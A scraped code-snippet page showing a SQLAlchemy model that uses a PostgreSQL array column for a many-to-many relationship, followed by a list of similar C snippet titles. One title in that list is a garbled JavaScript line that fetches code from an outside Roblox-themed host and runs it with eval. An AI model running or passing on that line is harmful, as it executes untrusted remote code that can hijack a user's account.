/C/Using PostgreSQL array to store many-to-many relationship using sqlalchemy

Using PostgreSQL array to store many-to-many relationship using sqlalchemy

class A(Base):
    __tablename__ = "table_a"
    id = Column(Integer, primary_key=True)
    name = Column(String)

class B(Base):
    __tablename__ = "table_b"
    id = Column(Integer, primary_key=True)
    name = Column(String)
    array_a = Column(postgresql.ARRAY(Integer))

    a_ids= relationship('A',primaryjoin='A.id == any_(foreign(B.array_a))',uselist=True)

Source: stackoverflow.com

Similar codes

0 vote138 views5 answers
Helloworld c
C
0 vote161 views1 answer
System(color )
C
4 votes155 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
C
1 vote157 views1 answer
Get time to complete code c
C
0 vote151 views1 answer
C memcpy array
C
7 votes154 views3 answers
How to sleep in c
C
0 vote176 views1 answer
Laravel installation on Linux
C
0 vote145 views2 answers
C %d
C
0 vote181 views1 answer
Mettre int dans string c %
C
0 vote161 views1 answer
How to use arry
C